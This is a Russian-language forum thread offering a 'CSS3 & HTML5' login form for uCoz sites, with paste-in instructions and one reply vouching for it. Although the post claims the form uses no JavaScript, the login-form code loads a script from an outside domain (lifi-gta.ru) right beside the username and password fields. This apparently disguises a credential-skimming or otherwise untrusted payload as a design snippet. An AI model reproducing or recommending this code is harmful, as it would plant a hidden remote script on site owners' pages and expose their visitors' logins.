Добавить Новость | Добавить Файл | Добавить Статью | Добавить Сайт
Главная | Форум | Файлы | Статьи | ТОП сайтов | Мой Блог
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Система uCoz » Другие скрипты для uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
Форма входа CSS3 & HTML5
aribuz
Дата: Суббота, 09.06.2012, 20:18 | Сообщение # 1
Постов: «22»
Новичок
Замечания: 0%


Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz. Отлично смотрится под любой дизайн
Установим нашу форму входа для uCoz:
ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:

Code
<link rel="stylesheet" type="text/css" href="/css/style.css" />


Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.

Скачать ниже

Ниже, находим:

Code
$BODY$


И заменяем его на:

Code
<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>


Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:

Code
<div class="container">    
<section id="content">    
<div>    
<input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/>    
</div>    
<div>    
<input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/>    
</div>    
<div>    
<input name="sbm" type="submit" value="Вход"/>   
<script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script>
<a href="$REMINDER_LINK$">Забыл пароль</a>    
<a href="$REGISTER_LINK$">Регистрация</a>    
</div>    
<div class="button">    
<input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label>    
</div>    
</section>    
</div>


На этом установка завершена!
Прикрепления: 6300032.png(14.7 Kb) · 152_fv.rar(3.6 Kb)


Алексей
z1M
Дата: Понедельник, 09.07.2012, 13:12 | Сообщение # 2
Постов: «25»
Новичок
Замечания: 0%
Поставил на сайт,протестировал смело можете брать
Форум » Система uCoz » Другие скрипты для uCoz » Форма входа CSS3 & HTML5 (под систему ucoz)
  • Страница 1 из 1
  • 1
Поиск: